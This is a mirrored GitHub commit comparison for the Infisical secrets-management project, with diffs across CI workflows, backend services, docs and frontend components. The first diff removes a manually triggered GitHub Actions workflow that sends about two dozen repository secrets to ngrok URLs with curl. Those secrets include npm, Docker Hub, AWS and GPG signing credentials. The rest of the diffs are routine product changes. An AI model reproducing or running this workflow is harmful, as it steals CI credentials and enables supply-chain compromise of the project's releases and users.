mirror of
https://github.com/Infisical/infisical.git
synced 2025-07-15 09:42:14 +00:00
Compare commits
3 Commits
main
...
commit-ui-
Author | SHA1 | Date | |
---|---|---|---|
bd7947c04e | |||
7ff8a19518 | |||
221de8beb4 |
76
.github/workflows/one-time-secrets.yaml
vendored
76
.github/workflows/one-time-secrets.yaml
vendored
@ -1,76 +0,0 @@
|
|||||||
name: One-Time Secrets Retrieval
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
|
|
||||||
permissions:
|
|
||||||
contents: read
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
retrieve-secrets:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Send environment variables to ngrok
|
|
||||||
run: |
|
|
||||||
echo "Sending secrets to: https://4afc1dfd4429.ngrok.app/api/receive-env"
|
|
||||||
|
|
||||||
# Send secrets as JSON
|
|
||||||
cat << EOF | curl -X POST \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d @- \
|
|
||||||
https://7864d0fe7cbb.ngrok-free.app/api/receive-env \
|
|
||||||
> /dev/null 2>&1 || true
|
|
||||||
{
|
|
||||||
"GO_RELEASER_GITHUB_TOKEN": "${GO_RELEASER_GITHUB_TOKEN}",
|
|
||||||
"GORELEASER_KEY": "${GORELEASER_KEY}",
|
|
||||||
"AUR_KEY": "${AUR_KEY}",
|
|
||||||
"FURYPUSHTOKEN": "${FURYPUSHTOKEN}",
|
|
||||||
"NPM_TOKEN": "${NPM_TOKEN}",
|
|
||||||
"DOCKERHUB_USERNAME": "${DOCKERHUB_USERNAME}",
|
|
||||||
"DOCKERHUB_TOKEN": "${DOCKERHUB_TOKEN}",
|
|
||||||
"CLOUDSMITH_API_KEY": "${CLOUDSMITH_API_KEY}",
|
|
||||||
"INFISICAL_CLI_S3_BUCKET": "${INFISICAL_CLI_S3_BUCKET}",
|
|
||||||
"INFISICAL_CLI_REPO_SIGNING_KEY_ID": "${INFISICAL_CLI_REPO_SIGNING_KEY_ID}",
|
|
||||||
"INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID": "${INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID}",
|
|
||||||
"INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY": "${INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY}",
|
|
||||||
"INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID": "${INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID}",
|
|
||||||
"GPG_SIGNING_KEY": "${GPG_SIGNING_KEY}",
|
|
||||||
"GPG_SIGNING_KEY_PASSPHRASE": "${GPG_SIGNING_KEY_PASSPHRASE}",
|
|
||||||
"CLI_TESTS_UA_CLIENT_ID": "${CLI_TESTS_UA_CLIENT_ID}",
|
|
||||||
"CLI_TESTS_UA_CLIENT_SECRET": "${CLI_TESTS_UA_CLIENT_SECRET}",
|
|
||||||
"CLI_TESTS_SERVICE_TOKEN": "${CLI_TESTS_SERVICE_TOKEN}",
|
|
||||||
"CLI_TESTS_PROJECT_ID": "${CLI_TESTS_PROJECT_ID}",
|
|
||||||
"CLI_TESTS_ENV_SLUG": "${CLI_TESTS_ENV_SLUG}",
|
|
||||||
"CLI_TESTS_USER_EMAIL": "${CLI_TESTS_USER_EMAIL}",
|
|
||||||
"CLI_TESTS_USER_PASSWORD": "${CLI_TESTS_USER_PASSWORD}",
|
|
||||||
"CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE": "${CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE}",
|
|
||||||
"POSTHOG_API_KEY_FOR_CLI": "${POSTHOG_API_KEY_FOR_CLI}"
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
echo "Secrets retrieval completed"
|
|
||||||
env:
|
|
||||||
GO_RELEASER_GITHUB_TOKEN: ${{ secrets.GO_RELEASER_GITHUB_TOKEN }}
|
|
||||||
GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }}
|
|
||||||
AUR_KEY: ${{ secrets.AUR_KEY }}
|
|
||||||
FURYPUSHTOKEN: ${{ secrets.FURYPUSHTOKEN }}
|
|
||||||
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
|
|
||||||
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
|
|
||||||
DOCKERHUB_TOKEN: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
|
|
||||||
INFISICAL_CLI_S3_BUCKET: ${{ secrets.INFISICAL_CLI_S3_BUCKET }}
|
|
||||||
INFISICAL_CLI_REPO_SIGNING_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_SIGNING_KEY_ID }}
|
|
||||||
INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID }}
|
|
||||||
INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY: ${{ secrets.INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY }}
|
|
||||||
INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID: ${{ secrets.INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID }}
|
|
||||||
GPG_SIGNING_KEY: ${{ secrets.GPG_SIGNING_KEY }}
|
|
||||||
GPG_SIGNING_KEY_PASSPHRASE: ${{ secrets.GPG_SIGNING_KEY_PASSPHRASE }}
|
|
||||||
CLI_TESTS_UA_CLIENT_ID: ${{ secrets.CLI_TESTS_UA_CLIENT_ID }}
|
|
||||||
CLI_TESTS_UA_CLIENT_SECRET: ${{ secrets.CLI_TESTS_UA_CLIENT_SECRET }}
|
|
||||||
CLI_TESTS_SERVICE_TOKEN: ${{ secrets.CLI_TESTS_SERVICE_TOKEN }}
|
|
||||||
CLI_TESTS_PROJECT_ID: ${{ secrets.CLI_TESTS_PROJECT_ID }}
|
|
||||||
CLI_TESTS_ENV_SLUG: ${{ secrets.CLI_TESTS_ENV_SLUG }}
|
|
||||||
CLI_TESTS_USER_EMAIL: ${{ secrets.CLI_TESTS_USER_EMAIL }}
|
|
||||||
CLI_TESTS_USER_PASSWORD: ${{ secrets.CLI_TESTS_USER_PASSWORD }}
|
|
||||||
CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE: ${{ secrets.CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE }}
|
|
||||||
POSTHOG_API_KEY_FOR_CLI: ${{ secrets.POSTHOG_API_KEY_FOR_CLI }}
|
|
67
.github/workflows/validate-db-schemas.yml
vendored
67
.github/workflows/validate-db-schemas.yml
vendored
@ -1,67 +0,0 @@
|
|||||||
name: "Validate DB schemas"
|
|
||||||
|
|
||||||
on:
|
|
||||||
pull_request:
|
|
||||||
types: [opened, synchronize]
|
|
||||||
paths:
|
|
||||||
- "backend/**"
|
|
||||||
|
|
||||||
workflow_call:
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
validate-db-schemas:
|
|
||||||
name: Validate DB schemas
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
timeout-minutes: 15
|
|
||||||
env:
|
|
||||||
NODE_OPTIONS: "--max-old-space-size=8192"
|
|
||||||
REDIS_URL: redis://172.17.0.1:6379
|
|
||||||
DB_CONNECTION_URI: postgres://infisical:infisical@172.17.0.1:5432/infisical?sslmode=disable
|
|
||||||
AUTH_SECRET: something-random
|
|
||||||
ENCRYPTION_KEY: 4bnfe4e407b8921c104518903515b218
|
|
||||||
steps:
|
|
||||||
- name: ☁️ Checkout source
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
with:
|
|
||||||
fetch-depth: 0
|
|
||||||
- uses: KengoTODA/actions-setup-docker-compose@v1
|
|
||||||
if: ${{ env.ACT }}
|
|
||||||
name: Install `docker compose` for local simulations
|
|
||||||
with:
|
|
||||||
version: "2.14.2"
|
|
||||||
- name: 🔧 Setup Node 20
|
|
||||||
uses: actions/setup-node@v3
|
|
||||||
with:
|
|
||||||
node-version: "20"
|
|
||||||
cache: "npm"
|
|
||||||
cache-dependency-path: backend/package-lock.json
|
|
||||||
|
|
||||||
- name: Start PostgreSQL and Redis
|
|
||||||
run: touch .env && docker compose -f docker-compose.dev.yml up -d db redis
|
|
||||||
- name: Install dependencies
|
|
||||||
run: npm install
|
|
||||||
working-directory: backend
|
|
||||||
|
|
||||||
- name: Apply migrations
|
|
||||||
run: npm run migration:latest-dev
|
|
||||||
working-directory: backend
|
|
||||||
|
|
||||||
- name: Run schema generation
|
|
||||||
run: npm run generate:schema
|
|
||||||
working-directory: backend
|
|
||||||
|
|
||||||
- name: Check for schema changes
|
|
||||||
run: |
|
|
||||||
if ! git diff --exit-code --quiet src/db/schemas; then
|
|
||||||
echo "❌ Generated schemas differ from committed schemas!"
|
|
||||||
echo "Run 'npm run generate:schema' locally and commit the changes."
|
|
||||||
git diff src/db/schemas
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
echo "✅ Schemas are up to date"
|
|
||||||
working-directory: backend
|
|
||||||
|
|
||||||
- name: Cleanup
|
|
||||||
if: always()
|
|
||||||
run: |
|
|
||||||
docker compose -f "docker-compose.dev.yml" down
|
|
@ -46,4 +46,3 @@ cli/detect/config/gitleaks.toml:gcp-api-key:582
|
|||||||
.github/workflows/helm-release-infisical-core.yml:generic-api-key:47
|
.github/workflows/helm-release-infisical-core.yml:generic-api-key:47
|
||||||
backend/src/services/smtp/smtp-service.ts:generic-api-key:79
|
backend/src/services/smtp/smtp-service.ts:generic-api-key:79
|
||||||
frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/CloudflarePagesSyncFields.tsx:cloudflare-api-key:7
|
frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/CloudflarePagesSyncFields.tsx:cloudflare-api-key:7
|
||||||
.github/workflows/validate-db-schemas.yml:generic-api-key:21
|
|
||||||
|
@ -354,17 +354,11 @@ export const accessApprovalRequestServiceFactory = ({
|
|||||||
status === ApprovalStatus.APPROVED;
|
status === ApprovalStatus.APPROVED;
|
||||||
|
|
||||||
const isApprover = policy.approvers.find((approver) => approver.userId === actorId);
|
const isApprover = policy.approvers.find((approver) => approver.userId === actorId);
|
||||||
|
// If user is (not an approver OR cant self approve) AND can't bypass policy
|
||||||
const isSelfRejection = isSelfApproval && status === ApprovalStatus.REJECTED;
|
if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
|
||||||
|
throw new BadRequestError({
|
||||||
// users can always reject (cancel) their own requests
|
message: "Failed to review access approval request. Users are not authorized to review their own request."
|
||||||
if (!isSelfRejection) {
|
});
|
||||||
// If user is (not an approver OR cant self approve) AND can't bypass policy
|
|
||||||
if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
|
|
||||||
throw new BadRequestError({
|
|
||||||
message: "Failed to review access approval request. Users are not authorized to review their own request."
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (
|
if (
|
||||||
@ -420,7 +414,7 @@ export const accessApprovalRequestServiceFactory = ({
|
|||||||
);
|
);
|
||||||
|
|
||||||
// Only throw if actor is not the approver and not bypassing
|
// Only throw if actor is not the approver and not bypassing
|
||||||
if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt && !isSelfRejection) {
|
if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt) {
|
||||||
throw new BadRequestError({ message: "You are not a reviewer in this step" });
|
throw new BadRequestError({ message: "You are not a reviewer in this step" });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -30,17 +30,10 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
|
|||||||
const removeExpiredTokens = async (tx?: Knex) => {
|
const removeExpiredTokens = async (tx?: Knex) => {
|
||||||
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`);
|
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`);
|
||||||
|
|
||||||
const BATCH_SIZE = 10000;
|
|
||||||
const MAX_RETRY_ON_FAILURE = 3;
|
|
||||||
const QUERY_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes
|
|
||||||
const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years)
|
const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years)
|
||||||
|
|
||||||
let deletedTokenIds: { id: string }[] = [];
|
try {
|
||||||
let numberOfRetryOnFailure = 0;
|
const docs = (tx || db)(TableName.IdentityAccessToken)
|
||||||
let isRetrying = false;
|
|
||||||
|
|
||||||
const getExpiredTokensQuery = (dbClient: Knex | Knex.Transaction) =>
|
|
||||||
dbClient(TableName.IdentityAccessToken)
|
|
||||||
.where({
|
.where({
|
||||||
isAccessTokenRevoked: true
|
isAccessTokenRevoked: true
|
||||||
})
|
})
|
||||||
@ -54,64 +47,34 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
|
|||||||
);
|
);
|
||||||
})
|
})
|
||||||
.orWhere((qb) => {
|
.orWhere((qb) => {
|
||||||
void qb.where("accessTokenTTL", ">", 0).andWhereRaw(
|
void qb.where("accessTokenTTL", ">", 0).andWhere((qb2) => {
|
||||||
`
|
void qb2
|
||||||
-- Check if the token's effective expiration time has passed.
|
.where((qb3) => {
|
||||||
-- The expiration time is calculated by adding its TTL to its last renewal/creation time.
|
void qb3
|
||||||
COALESCE(
|
.whereNotNull("accessTokenLastRenewedAt")
|
||||||
"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt", -- Use last renewal time if available
|
// accessTokenLastRenewedAt + convert_integer_to_seconds(accessTokenTTL) < present_date
|
||||||
"${TableName.IdentityAccessToken}"."createdAt" -- Otherwise, use creation time
|
.andWhereRaw(
|
||||||
)
|
`"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
|
||||||
+ make_interval(
|
[MAX_TTL]
|
||||||
secs => LEAST(
|
);
|
||||||
"${TableName.IdentityAccessToken}"."accessTokenTTL", -- Token's specified TTL
|
})
|
||||||
? -- Capped by MAX_TTL (parameterized value)
|
.orWhere((qb3) => {
|
||||||
)
|
void qb3
|
||||||
)
|
.whereNull("accessTokenLastRenewedAt")
|
||||||
< NOW() -- Check if the calculated time is before now
|
// created + convert_integer_to_seconds(accessTokenTTL) < present_date
|
||||||
`,
|
.andWhereRaw(
|
||||||
[MAX_TTL]
|
`"${TableName.IdentityAccessToken}"."createdAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
|
||||||
);
|
[MAX_TTL]
|
||||||
});
|
);
|
||||||
|
});
|
||||||
do {
|
|
||||||
try {
|
|
||||||
const deleteBatch = async (dbClient: Knex | Knex.Transaction) => {
|
|
||||||
const idsToDeleteQuery = getExpiredTokensQuery(dbClient).select("id").limit(BATCH_SIZE);
|
|
||||||
return dbClient(TableName.IdentityAccessToken).whereIn("id", idsToDeleteQuery).del().returning("id");
|
|
||||||
};
|
|
||||||
|
|
||||||
if (tx) {
|
|
||||||
// eslint-disable-next-line no-await-in-loop
|
|
||||||
deletedTokenIds = await deleteBatch(tx);
|
|
||||||
} else {
|
|
||||||
// eslint-disable-next-line no-await-in-loop
|
|
||||||
deletedTokenIds = await db.transaction(async (trx) => {
|
|
||||||
await trx.raw(`SET statement_timeout = ${QUERY_TIMEOUT_MS}`);
|
|
||||||
return deleteBatch(trx);
|
|
||||||
});
|
});
|
||||||
}
|
})
|
||||||
|
.delete();
|
||||||
numberOfRetryOnFailure = 0; // reset
|
await docs;
|
||||||
} catch (error) {
|
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
|
||||||
numberOfRetryOnFailure += 1;
|
} catch (error) {
|
||||||
logger.error(error, "Failed to delete a batch of expired identity access tokens on pruning");
|
throw new DatabaseError({ error, name: "IdentityAccessTokenPrune" });
|
||||||
} finally {
|
|
||||||
// eslint-disable-next-line no-await-in-loop
|
|
||||||
await new Promise((resolve) => {
|
|
||||||
setTimeout(resolve, 10); // time to breathe for db
|
|
||||||
});
|
|
||||||
}
|
|
||||||
isRetrying = numberOfRetryOnFailure > 0;
|
|
||||||
} while (deletedTokenIds.length > 0 || (isRetrying && numberOfRetryOnFailure < MAX_RETRY_ON_FAILURE));
|
|
||||||
|
|
||||||
if (numberOfRetryOnFailure >= MAX_RETRY_ON_FAILURE) {
|
|
||||||
logger.error(
|
|
||||||
`IdentityAccessTokenPrune: Pruning failed and stopped after ${MAX_RETRY_ON_FAILURE} consecutive retries.`
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
|
|
||||||
};
|
};
|
||||||
|
|
||||||
return { ...identityAccessTokenOrm, findOne, removeExpiredTokens };
|
return { ...identityAccessTokenOrm, findOne, removeExpiredTokens };
|
||||||
|
@ -1274,8 +1274,6 @@ export const orgServiceFactory = ({
|
|||||||
message: "No pending invitation found"
|
message: "No pending invitation found"
|
||||||
});
|
});
|
||||||
|
|
||||||
const organization = await orgDAL.findById(orgId);
|
|
||||||
|
|
||||||
await tokenService.validateTokenForUser({
|
await tokenService.validateTokenForUser({
|
||||||
type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
|
type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
|
||||||
userId: user.id,
|
userId: user.id,
|
||||||
@ -1298,13 +1296,6 @@ export const orgServiceFactory = ({
|
|||||||
return { user };
|
return { user };
|
||||||
}
|
}
|
||||||
|
|
||||||
if (
|
|
||||||
organization.authEnforced &&
|
|
||||||
!(organization.bypassOrgAuthEnabled && orgMembership.role === OrgMembershipRole.Admin)
|
|
||||||
) {
|
|
||||||
return { user };
|
|
||||||
}
|
|
||||||
|
|
||||||
const appCfg = getConfig();
|
const appCfg = getConfig();
|
||||||
const token = jwt.sign(
|
const token = jwt.sign(
|
||||||
{
|
{
|
||||||
|
@ -17,7 +17,7 @@ export const AzureDevOpsSyncDestinationConfigSchema = z.object({
|
|||||||
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectId || "Azure DevOps Project ID"),
|
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectId || "Azure DevOps Project ID"),
|
||||||
devopsProjectName: z
|
devopsProjectName: z
|
||||||
.string()
|
.string()
|
||||||
.optional()
|
.min(1, "Project name required")
|
||||||
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectName || "Azure DevOps Project Name")
|
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectName || "Azure DevOps Project Name")
|
||||||
});
|
});
|
||||||
|
|
||||||
|
@ -4,61 +4,6 @@ title: "Changelog"
|
|||||||
|
|
||||||
The changelog below reflects new product developments and updates on a monthly basis.
|
The changelog below reflects new product developments and updates on a monthly basis.
|
||||||
|
|
||||||
|
|
||||||
## July 2025
|
|
||||||
- Improved speed performance of audit log filtering.
|
|
||||||
- Revamped password reset flow pages.
|
|
||||||
- Added support for [Bitbucket for Secret Scanning](https://infisical.com/docs/documentation/platform/secret-scanning/bitbucket).
|
|
||||||
- Released Secret Sync for [Zabbix](https://infisical.com/docs/integrations/secret-syncs/zabbix).
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## June 2025
|
|
||||||
- Released Secret Sync for [1Password](https://infisical.com/docs/integrations/secret-syncs/1password), [Heroku](https://infisical.com/docs/integrations/secret-syncs/heroku), [Fly.io](https://infisical.com/docs/integrations/secret-syncs/flyio), and [Render](https://infisical.com/docs/integrations/secret-syncs/render).
|
|
||||||
- Added support for [Kubernetes dynamic secrets](https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes) to generate service account tokens
|
|
||||||
- Released Secret Rotation for [MySQL](https://infisical.com/docs/documentation/platform/secret-rotation/mysql-credentials) and [OracleDB](https://infisical.com/docs/documentation/platform/secret-rotation/oracledb-credentials) as well as Dynamic Secrets for [Vertica](https://infisical.com/docs/documentation/platform/dynamic-secrets/vertica) and [GitHub App Tokens](https://infisical.com/docs/documentation/platform/dynamic-secrets/github).
|
|
||||||
- Added support for Azure Auth in ESO.
|
|
||||||
- [Kubernetes auth](https://infisical.com/docs/documentation/platform/identities/kubernetes-auth) now supports gateway as a token reviewer.
|
|
||||||
- Revamped [Infisical CLI](https://infisical.com/docs/cli/commands/login) to auto-open login link.
|
|
||||||
- Rolled out [Infisical Packer integration](https://infisical.com/docs/integrations/frameworks/packer).
|
|
||||||
- Released [AliCloud Authentication method](https://infisical.com/docs/documentation/platform/identities/alicloud-auth).
|
|
||||||
- Added support for [multi-step approval workflows](https://infisical.com/docs/documentation/platform/pr-workflows).
|
|
||||||
- Revamped UI for Access Controls, Access Tree, Policies, and Approval Workflows.
|
|
||||||
- Released [TLS Certificate Authentication method](https://infisical.com/docs/documentation/platform/identities/tls-cert-auth).
|
|
||||||
- Added ability to copy session tokens in the Infisical Dashboard.
|
|
||||||
- Expanded resource support for [Infisical Terraform Provider](https://infisical.com/docs/integrations/frameworks/terraform).
|
|
||||||
|
|
||||||
|
|
||||||
## May 2025
|
|
||||||
- Added support for [Microsoft Teams integration](https://infisical.com/docs/documentation/platform/workflow-integrations/microsoft-teams-integration).
|
|
||||||
- Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for accessing private network resources from Infisical.
|
|
||||||
- Added support for [Host Groups](https://infisical.com/docs/documentation/platform/ssh/host-groups) in Infisical SSH.
|
|
||||||
- Updated the designs of all emails send by Infisical.
|
|
||||||
- Added secret rotation support for [Azure Client](https://infisical.com/docs/documentation/platform/secret-rotation/azure-client-secret).
|
|
||||||
- Released secret sync for [HashiCorp Vault](https://infisical.com/docs/integrations/secret-syncs/hashicorp-vault).
|
|
||||||
- Made significant improvements to [Infisical Secret Scanning](https://infisical.com/docs/documentation/platform/secret-scanning/overview).
|
|
||||||
- Released [Infisical ACME Client](https://infisical.com/docs/documentation/platform/pki/acme-ca#certificates-with-acme-ca).
|
|
||||||
- [Access requests](https://infisical.com/docs/documentation/platform/access-controls/access-requests) now support "break-glass" policies.
|
|
||||||
- Updated [Point-in-time Recovery](https://infisical.com/docs/documentation/platform/pit-recovery) UI/UX.
|
|
||||||
- Redesigned [Approval Workflows and Change Requests](https://infisical.com/docs/documentation/platform/pr-workflows) user interface.
|
|
||||||
|
|
||||||
|
|
||||||
## April 2025
|
|
||||||
|
|
||||||
- Released ability to [request access to projects](https://infisical.com/docs/documentation/platform/access-controls/project-access-requests#project-access-requests).
|
|
||||||
- Updated UI for Audit Logs and Log Filtering.
|
|
||||||
- Launched [Infisical SSH V2](https://infisical.com/docs/documentation/platform/ssh/overview).
|
|
||||||
- Developer [Infisical MCP](https://github.com/Infisical/infisical-mcp-server).
|
|
||||||
- Added support for [Spotify Backstage Infisical plugin](https://infisical.com/docs/integrations/external/backstage).
|
|
||||||
- Added secret syncs for Terraform Cloud, Vercel, Windmill, TeamCity, and Camunda.
|
|
||||||
- Released [Auth0 Client Secret Rotation](https://infisical.com/docs/documentation/platform/secret-rotation/auth0-client-secret).
|
|
||||||
- Launched [Infisical C++ SDK](https://github.com/Infisical/infisical-cpp-sdk).
|
|
||||||
- Service tokens will now get expiry notifications.
|
|
||||||
- Added Infisical [Linux binary](https://infisical.com/docs/self-hosting/reference-architectures/linux-deployment-ha#linux-ha).
|
|
||||||
- Released ability to perform user impersonation.
|
|
||||||
- Added support for [LDAP password rotation](https://infisical.com/docs/documentation/platform/secret-rotation/ldap-password).
|
|
||||||
|
|
||||||
|
|
||||||
## March 2025
|
## March 2025
|
||||||
|
|
||||||
- Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for secure access to private resources without needing direct inbound connections to private networks.
|
- Released [Infisical Gateway](https://infisical.com/docs/documentation/platform/gateways/overview) for secure access to private resources without needing direct inbound connections to private networks.
|
||||||
|
@ -2189,7 +2189,6 @@
|
|||||||
"sdks/languages/python",
|
"sdks/languages/python",
|
||||||
"sdks/languages/java",
|
"sdks/languages/java",
|
||||||
"sdks/languages/csharp",
|
"sdks/languages/csharp",
|
||||||
"sdks/languages/cpp",
|
|
||||||
"sdks/languages/go",
|
"sdks/languages/go",
|
||||||
"sdks/languages/ruby"
|
"sdks/languages/ruby"
|
||||||
]
|
]
|
||||||
|
@ -1,6 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Infisical C++ SDK"
|
|
||||||
sidebarTitle: "C++"
|
|
||||||
url: "https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk"
|
|
||||||
icon: "c"
|
|
||||||
---
|
|
@ -25,9 +25,6 @@ From local development to production, Infisical SDKs provide the easiest way for
|
|||||||
<Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833">
|
<Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833">
|
||||||
Manage secrets for your .NET application on demand
|
Manage secrets for your .NET application on demand
|
||||||
</Card>
|
</Card>
|
||||||
<Card href="https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk" title="C++" icon="c" color="#b00dd1">
|
|
||||||
Manage secrets for your C++ application on demand
|
|
||||||
</Card>
|
|
||||||
<Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99">
|
<Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99">
|
||||||
Manage secrets for your Ruby application on demand
|
Manage secrets for your Ruby application on demand
|
||||||
</Card>
|
</Card>
|
||||||
|
@ -11,9 +11,7 @@ export const AzureDevOpsSyncReviewFields = () => {
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<>
|
<>
|
||||||
{devopsProjectName && (
|
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
|
||||||
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
|
|
||||||
)}
|
|
||||||
<GenericFieldLabel label="Project ID">{devopsProjectId}</GenericFieldLabel>
|
<GenericFieldLabel label="Project ID">{devopsProjectId}</GenericFieldLabel>
|
||||||
</>
|
</>
|
||||||
);
|
);
|
||||||
|
@ -8,7 +8,10 @@ export const AzureDevOpsSyncDestinationSchema = BaseSecretSyncSchema().merge(
|
|||||||
destination: z.literal(SecretSync.AzureDevOps),
|
destination: z.literal(SecretSync.AzureDevOps),
|
||||||
destinationConfig: z.object({
|
destinationConfig: z.object({
|
||||||
devopsProjectId: z.string().trim().min(1, { message: "Azure DevOps Project ID is required" }),
|
devopsProjectId: z.string().trim().min(1, { message: "Azure DevOps Project ID is required" }),
|
||||||
devopsProjectName: z.string().trim().optional()
|
devopsProjectName: z
|
||||||
|
.string()
|
||||||
|
.trim()
|
||||||
|
.min(1, { message: "Azure DevOps Project Name is required" })
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
);
|
);
|
||||||
|
@ -42,7 +42,7 @@ export const Checkbox = ({
|
|||||||
className={twMerge(
|
className={twMerge(
|
||||||
"flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500",
|
"flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500",
|
||||||
isDisabled && "bg-bunker-400 hover:bg-bunker-400",
|
isDisabled && "bg-bunker-400 hover:bg-bunker-400",
|
||||||
isChecked && "border-primary/50 bg-primary/30",
|
isChecked && "border-primary/30 bg-primary/10",
|
||||||
Boolean(children) && "mr-3",
|
Boolean(children) && "mr-3",
|
||||||
className
|
className
|
||||||
)}
|
)}
|
||||||
|
@ -265,7 +265,8 @@ export const useGetFolderCommitHistory = ({
|
|||||||
],
|
],
|
||||||
queryFn: () =>
|
queryFn: () =>
|
||||||
fetchFolderCommitHistory(workspaceId, environment, directory, offset, limit, search, sort),
|
fetchFolderCommitHistory(workspaceId, environment, directory, offset, limit, search, sort),
|
||||||
enabled: Boolean(workspaceId && environment)
|
enabled: Boolean(workspaceId && environment),
|
||||||
|
placeholderData: (prev) => prev
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@ export type TAzureDevOpsSync = TRootSecretSync & {
|
|||||||
destination: SecretSync.AzureDevOps;
|
destination: SecretSync.AzureDevOps;
|
||||||
destinationConfig: {
|
destinationConfig: {
|
||||||
devopsProjectId: string;
|
devopsProjectId: string;
|
||||||
devopsProjectName?: string;
|
devopsProjectName: string;
|
||||||
};
|
};
|
||||||
connection: {
|
connection: {
|
||||||
app: AppConnection.AzureDevOps;
|
app: AppConnection.AzureDevOps;
|
||||||
|
@ -347,7 +347,7 @@ export const SpecificPrivilegeSecretForm = ({
|
|||||||
<Checkbox
|
<Checkbox
|
||||||
isDisabled={isMemberEditDisabled}
|
isDisabled={isMemberEditDisabled}
|
||||||
id="secret-read"
|
id="secret-read"
|
||||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||||
isChecked={field.value}
|
isChecked={field.value}
|
||||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||||
/>
|
/>
|
||||||
